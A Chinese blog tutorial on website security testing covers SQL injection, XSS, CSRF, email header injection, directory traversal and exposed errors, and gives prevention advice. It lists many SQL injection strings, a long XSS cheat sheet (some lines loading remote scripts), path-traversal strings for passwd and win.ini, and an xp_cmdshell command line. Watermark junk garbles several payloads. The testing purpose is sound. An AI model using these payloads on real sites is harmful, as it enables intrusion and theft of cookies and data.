安全性测试系列-如何对网站进行安全性测试

上一篇 / 下一篇  2009-12-25 17:49:21 / 个人分类:安全性测试

1.SQL Injection(SQL 注入)

  (1)如何进行SQL注入测试?
j-?;H$[x&Qc0
51Testing软件测试网2~"eWJ6JM

  • 首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每一个参数传递都有可能被利用.
vh Eq?0

<form. id="form_search" action="/search/" method="get">

LejV4lB0

<div>51Testing软件测试网_Hh^o&X0C'd1S

<input type="text" name="q" id="search_q" value="" />

H$};s)?/lt3V0

<input name="search" type="image" src="/media/images/site/search_btn.gif" />

LT]c(_ y!u1e1}/l0

<a href="/search/" class="fl">Gamefinder</a>51Testing软件测试网JWK`k/tZY$e

</div>51Testing软件测试网P-m e Nv ECga

</form>
51Testing软件测试网b7VP P8d&v l(b
注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=1051Testing软件测试网 iz2\9NW+Y:L
  • 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--

注1:根据实际情况,SQL注入请求可以使用以下语句:51Testing软件测试网+Lh0PZU3uZs~

' or 1=1- -51Testing软件测试网6M4l?2suFpv

" or 1=1- -51Testing软件测试网~2l"Lla |x*N&U

or 1=1- -51Testing软件测试网8fK6P A!s W'V4n@

' or 'a'='a51Testing软件测试网U$F!m2V~:f[(O^u@OS

" or "a"="a51Testing软件测试网FF6Y|gD

') or ('a'='a 51Testing软件测试网8S+~ B$C-i(Z%N*`
   注2:为什么是OR,以及',――特殊的字符呢?
51Testing软件测试网id(`&N3o'wC

例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password'

:Uwh|6xV {I}V0

如 输入http://duck/index.asp?username=admin' or 1='1&pwd=11SQL语句会变成以下:sql=select * from user where username='admin' or 1='1' and password='11'51Testing软件测试网MmQ8v_1ot7W:R p

'与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.
,d,B9^vJTYW0

A+\*]B+D k%B5ZY0

接下来是OR查询条件,OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是说我们绕过了密码验证,我们只用用户名就可以登录.51Testing软件测试网Oe a-_~

如 输入http://duck/index.asp?username=admin'--&pwd=11SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',51Testing软件测试网'E6K1eZ)D#K9\I

 '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行
p L~ ?N!z|di0 接下来是"--"查询条件,“--”
是忽略或注释,上述通过连接符注释掉后面的密码验证(:ACCESS数据库无效).
  • 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
  • 试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.
  (2)如何预防SQL注入?
T7Mw.W7Z9g9_Z eAz0
A-P9a3@N.B*P nk/i0  从应用程序的角度来讲,我们要做以下三项工作:51Testing软件测试网[4})a(OQr-ht
  • 转义敏感字符及字符串(SQL的敏感字符包括exec,xp_,sp_,declare,Union,cmd,+,//,..,;,,--,%,0x,><=!-*/()|,空格”).
  • 屏蔽出错信息:阻止攻击者知道攻击的结果51Testing软件测试网]-hBkr'SL2gV1qgg

  • 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.
    ZH/SZ(m.z"KW&Yc0

    !CD"PE"W5\QS+Z[0
   从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:
6Dr#Go]Y0
  • 需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
  • 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.
   当然在执行测试的过程中,我们也需求对上述两项内容进行测试.
!UeqG3eFR2K0

  2.Cross-site scritping(XSS):(跨站点脚本攻击)51Testing软件测试网jPZXc-o

  (1)如何进行XSS测试?51Testing软件测试网5YXm|1z n6fk!G.~`
51Testing软件测试网t0` wRY%WGP

  • <!--[if !supportLists]-->首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
  • <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:

<scrīpt>alert(document.cookie)</scrīpt>

/qT:N8gm6EL#~"e0
51Testing软件测试网/Q&pc!OdM1zJH0L h


pg b E1Ln]a0      注:其它的XSS测试语句51Testing软件测试网a2}bec:E b*T

V&`(oF(e"H fNn051Testing软件测试网 fr?H.?I

><scrīpt>alert(document.cookie)</scrīpt>
}*y\NU@)vJ S)g0='><scrīpt>alert(document.cookie)</scrīpt>
nriBUCl0<scrīpt>alert(document.cookie)</scrīpt>51Testing软件测试网rs6t0@P8R{M
<scrīpt>alert(vulnerable)</scrīpt>
8o.\{T O0%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E51Testing软件测试网 l1EHgste~c_g
<scrīpt>alert('XSS')</scrīpt>
'F)VN;j/y.F4_Y#z"uKz(F0<img src="javascrīpt:alert('XSS')">
&| a8|,H2u#BI0|q0%0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp51Testing软件测试网 f2UB1Mo
%22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
w!r8W,K(MgJM0%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd51Testing软件测试网 |kms3K9\1{c
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini51Testing软件测试网 N C H/{t{En
%3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e51Testing软件测试网!Bl"`X/z$pq
%3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e51Testing软件测试网T q)qR;hHr.EGG
%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
9xu PU\6@j4\V0%3f.jsp
0R)l!|0`0A0%3f.jsp
d.a"g6[k;N0O0q!xc0&lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt51Testing软件测试网m Za5x*zo Ue
<scrīpt>alert('Vulnerable')</scrīpt>
.BG^&_.ha5lP0?sql_debug=1
G X.[ IgzV!U0a%5c.aspx51Testing软件测试网&@ ZMo(rQ7x I]
a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
,~q\Ip5x0a/
2W1Fy ww/M~0a?<scrīpt>alert('Vulnerable')</scrīpt>
AT5G/lh#BS0"><scrīpt>alert('Vulnerable')</scrīpt>51Testing软件测试网vQ0j _9e)eR#l2f
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&51Testing软件测试网oz"F%V2@JE'I:}{y
%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
2U(Mo0|FKd@5O-a0%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
;c+T0c dAx%wf0%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
D]c5_a"U-F01%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=51Testing软件测试网Jg,WTWpr
../../../../../../../../etc/passwd
lq3w{~ NNB ]0..\..\..\..\..\..\..\..\windows\system.ini
Hd2oe)b#\E%u#xoq[v0\..\..\..\..\..\..\..\..\windows\system.ini
r{ a*ucMnM0'';!--"<XSS>=&{()}51Testing软件测试网nm`O? ?1je
<IMG SRC="javascrīpt:alert('XSS');">
qO/o OX7] N2{0<IMG SRC=javascrīpt:alert('XSS')>51Testing软件测试网(t*t(U$dt2~%r
<IMG SRC=javascrīpt:alert('XSS')>
dYo9It#k4?4ge e0<IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
Z$EE-c1u0<IMG SRC=javascrīpt:alert('XSS')>51Testing软件测试网;rL F0AE4RY5]O
<IMG SRC=javascrīpt:alert('XSS')>
,VS [1v$J{0<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
&b5[`"T@&c;S0<IMG SRC="jav ascrīpt:alert('XSS');">51Testing软件测试网&?8]7W:k7il3cOs#x$E
<IMG SRC="jav ascrīpt:alert('XSS');">51Testing软件测试网 C:zf4t5O'x:E9K
<IMG SRC="jav ascrīpt:alert('XSS');">51Testing软件测试网Y)]d4o$Mb)C;|
"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
2b h QX:ai0<IMG SRC=" javascrīpt:alert('XSS');">51Testing软件测试网g bB\V
<scrīpt>a=/XSS/alert(a.source)</scrīpt>
a$\ R9^H&qo3L0<BODY BACKGROUND="javascrīpt:alert('XSS')">
-mm]$k w'v0<BODY ōNLOAD=alert('XSS')>
@g;p$|9xG)_su0<IMG DYNSRC="javascrīpt:alert('XSS')">51Testing软件测试网Oi"c7S,H(Ean
<IMG LOWSRC="javascrīpt:alert('XSS')">51Testing软件测试网"~+mZHAa
<BGSOUND SRC="javascrīpt:alert('XSS');">
H-g"y*bSvL0<br size="&{alert('XSS')}">
*O{,V4X Ksl6Y0<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>51Testing软件测试网0i1[d0r `;d6I
<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">51Testing软件测试网y+w(Bb$D m
<IMG SRC='vbscrīpt:msgbox("XSS")'>51Testing软件测试网f*}a(tNB&I W$H
<IMG SRC="mocha:[code]">
+^m],W/o|rO/Q5f0<IMG SRC="livescrīpt:[code]">51Testing软件测试网\4N\UM7f'W
<META. HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
pG3j_'\Y` H i0<IFRAME. SRC=javascrīpt:alert('XSS')></IFRAME>
,s%W#xd f H y$G0<FRAMESET><FRAME. SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
gH.` l5Y P/ta0<TABLE BACKGROUND="javascrīpt:alert('XSS')">
oO l2YGKX0<DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">51Testing软件测试网*k.^Pgz
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
MhpZH2R&?Z0<DIV STYLE="width: expression(alert('XSS'));">51Testing软件测试网kSE7c#a,@f
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
!uv9j6Gc a.B0<IMG STYLE='xss:expre\ssion(alert("XSS"))'>51Testing软件测试网H(jX_ vxc^
<STYLE. TYPE="text/javascrīpt">alert('XSS');</STYLE>51Testing软件测试网$j ``-oa m
<STYLE. TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>
;T:h'ye3C"a2wq KF7]5y0<STYLE. type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>51Testing软件测试网0s"O;gL rm;fq/X
<BASE HREF="javascrīpt:alert('XSS');//">51Testing软件测试网jY]@@oo`;^4R
getURL("javascrīpt:alert('XSS')")51Testing软件测试网 YrB:i iS y r
a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
1Q/ov5c N)Sr0<XML SRC="javascrīpt:alert('XSS');">
)u2K6Q:`Uazn G0"> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"51Testing软件测试网1c4OS7c/?){)Iu
<scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>51Testing软件测试网'NYt|q nU
<IMG SRC="javascrīpt:alert('XSS')"
!G G4Ke)T:x#Z0<!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->51Testing软件测试网*R4iB#{o
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">51Testing软件测试网xz X4K"Yn7PIuf
<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
&|9D,e!JaVk4O&v0<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
1d5H6lIw/~#Hq0<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>51Testing软件测试网q`9zkq(f
<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
c%XQa0e6QK1aB$K'd0<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
?,Wo&?&mN&RS0<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
 51Testing软件测试网/Ou]1Z"U_J

51Testing软件测试网/U:Wg*D/uj
  • 最后,当用户浏览时便会弹出一个警告框,内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
  • 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚本,当用户浏览此帖时,cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。
  (2)如何预防XSS漏洞?
Rs#rUv"S @ }0    从应用程序的角度来讲,要进行以下几项预防:
;O9t4Ml{?(B/U0
  • Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.
  • 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.
    从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:
  • 在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证,着重验证是否对HTML或脚本代码进行了转义。
  • 执行测试过程中也应对上述项进行检查。
    %C`2^(wWB[X1b0
 51Testing软件测试网~)Z8}&w)@$d-M
  3.CSRF:(跨站点伪造请求)
zY.B/[1m|E0Sf"U0    CSRF尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。51Testing软件测试网&M{9Y}x
    XSS是利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。51Testing软件测试网*}m wsT+E
    XSS也好,CSRF也好,它的目的在于窃取用户的信息,如SESSION 和 COOKIES(关于SESSION 和COOKIES的介绍请参见我的另一篇BLOG:http://www.51testing.com/?49689/action_viewspace_itemid_74885.html),51Testing软件测试网"?+},qM CG,@c r
   (1)如何进行CSRF测试?
`E$r,k p0Y)h"k9{g0    关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。51Testing软件测试网zf Pg%B t
   (2)如何预防CSRF漏洞?51Testing软件测试网1^%_y-M`P W
 4.Email Header Injection(邮件标头注入)  
*o%^/q Q mF0    Email Header Injection
:如果表单用于发送email,表单中可能包括“subject”输入项(邮件标题),我们要验证subject中应能escape掉“\n”标识。
  • <!--[if !supportLists]--><!--[endif]-->因为“\n”是新行,如果在subject中输入“hello\ncc:spamvictim@example.com”,可能会形成以下
Subject: hello
cc: spamvictim@example.com
  • <!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的subject,那他可能会给利用这个缺陷通过我们的平台给其它用户发送垃圾邮件。51Testing软件测试网u4x,IXv1o0H
  5.Directory Traversal(目录遍历)
XdUv+R:~7Qa0   (1)如何进行目录遍历测试?51Testing软件测试网 oS|1U8Av N
  • 目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
  • 测试方法:URL中输入一定数量的“../”和“./”,验证系统是否ESCAPE掉了这些目录跳转符。51Testing软件测试网*Cf8T{lme
   (2)如何预防目录遍历?51Testing软件测试网@3e9F$B#z3U4f5b
  • 限制Web应用在服务器上的运行
  • 进行严格的输入验证,控制用户输入非法路径
 6.exposed error messages(错误信息)51Testing软件测试网 Y1O5Es:H8D6{!Z
  (1)如何进行测试?
}(ySm7g8@$p'x0
  • 首先找到一些错误页面,比如404,或500页面。
  • 验证在调试未开通过的情况下,是否给出了友好的错误提示信息比如“你访问的页面不存在”等,而并非曝露一些程序代码。51Testing软件测试网 K s-iwqb(HO
  (2)如何预防?
7w'hs#Gw"f0
  • 测试人员在进行需求检查时,应该对出错信息进行详细查,比如是否给出了出错信息,是否给出了正确的出错信息。

TAG: 安全性测试

sly_leo的个人空间 引用 删除 sly_leo   /   2012-05-10 16:19:12
5
hangxin06066的个人空间 引用 删除 hangxin06066   /   2012-02-15 16:03:18
5
七星海棠的个人空间 引用 删除 七星海棠   /   2011-11-09 18:58:13
5
moyiyun的个人空间 引用 删除 moyiyun   /   2011-11-09 11:24:17
不错,讲的挺详细的
moyiyun的个人空间 引用 删除 moyiyun   /   2011-11-09 11:23:50
-5
 

评分:0

我来说两句

Open Toolbar